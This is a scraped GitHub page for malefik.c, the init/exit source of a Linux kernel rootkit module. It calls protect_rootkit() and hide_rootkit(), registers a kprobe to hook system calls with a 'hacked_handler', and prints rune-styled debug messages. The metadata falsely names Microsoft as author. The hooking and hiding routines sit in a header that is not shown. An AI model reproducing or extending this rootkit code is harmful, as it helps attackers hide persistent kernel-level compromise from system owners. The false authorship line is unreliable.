-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmalefik.c
66 lines (54 loc) · 1.08 KB
/
malefik.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
* demonstrating that ~ Kernel is life
*/
#include "malefik.h"
/* INIT */
static int __init rootkit_init(void)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ INIT...\n");
}
#endif
protect_rootkit();
hide_rootkit();
int ret;
ret = register_kprobe(&syscall_catch_kprobe);
if (ret < 0)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Done. %d\n", ret);
}
#endif
return ret;
}
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ hacked_handler address: 0x%px \n", hacked_handler);
}
#endif
return 0;
}
/* EXIT */
static void __exit rootkit_exit(void)
{
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Unregistering kprobe...\n");
}
#endif
unregister_kprobe(&syscall_catch_kprobe);
#if DEBUG
{
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Done.\n");
pr_info("ᛗᚨᛚᛖᚠᛁᚴ ~ Unloaded\n");
}
#endif
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Microsoft");
MODULE_DESCRIPTION("Never gonna root you up");
MODULE_VERSION("6.6.6");